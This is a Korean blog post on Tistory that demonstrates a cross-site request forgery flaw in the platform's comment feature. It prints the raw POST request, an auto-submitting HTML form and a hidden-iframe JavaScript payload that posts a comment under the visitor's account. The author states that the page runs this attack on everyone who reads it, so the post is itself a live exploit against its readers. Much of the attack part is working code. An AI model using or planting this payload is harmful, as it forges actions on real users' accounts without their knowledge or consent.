본문 바로가기
1.A. High Level Computing/Hacking & Cracking

CSRF Testing post (comment generator)

by Never Settle Down 2024. 9. 19.
반응형

 !! 이 글을 읽으시게 되면 하단에 본인 계정으로 댓글이 생성됩니다.

현재 티스토리에서 CSRF가 가능하다는 증빙물로 게시글을 개방해두었습니다

!!


댓글봇새기들 줘 패버리고 싶다.
 
문득  CSRF가 가능할 것 같아 이 글을 생성한다.
 
이 글의 게시글 번호는 178이다.
 
 
POST /comment/add/178?__T__=1234123412345&key=tistory&comment=hello+world HTTP/2
Host: thewanderer.tistory.com
Cookie: TSSESSION=현재 생존중인 세션값으로 갈음;
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

그럼 이걸  CSRF 용으로 크사를 터트리면 되겠찌?
 
작동하는  form ( 화면이 넘어가버려서 공격당한 사싱을 인지할 수 있음)
<body>
    <form action="https://thewanderer.tistory.com/comment/add/178" method="POST">
      <input type="hidden" name="__T__" value="1234123412345">
      <input type="hidden" name="key" value="tistory">
      <input type="hidden" name="comment" value=" FROM XSS TO CSRF BITCHz">
      <input type="submit" value="Submit">
    </form>
    <script>
      //document.forms[0].submit();
    </script>
  </body>
 
그래서 iframe 으로 공격을 시도해봄 (성공)
<iframe src="about:blank" style="display:none;" name="csrf-frame"></iframe>
<script>
  var iframe = document.querySelector('iframe');
  var form = document.createElement('form');
  form.method = 'POST';
  form.action = 'https://thewanderer.tistory.com/comment/add/178';
  form.target = 'csrf-frame'; // Match this with iframe's name

  var inputKey = document.createElement('input');
  inputKey.name = 'key';
  inputKey.value = 'tistory'; // Replace with the actual key if different
  form.appendChild(inputKey);

  var inputComment = document.createElement('input');
  inputComment.name = 'comment';
  inputComment.value = 'FROM XSS TO CSRF BITCHz';
  form.appendChild(inputComment);

  var inputToken = document.createElement('input');
  inputToken.name = '__T__';
  inputToken.value = '1234123412345'; // Replace with the actual token if different
  form.appendChild(inputToken);
  
  iframe.contentDocument.body.appendChild(form);
  form.submit();
</script>
 
카카오에서 Content Security Policies 로 어바웃 : 블랭크를 막지 않아놨다보니
걍 뚫린다.
 
 
 

반응형

Comment(s)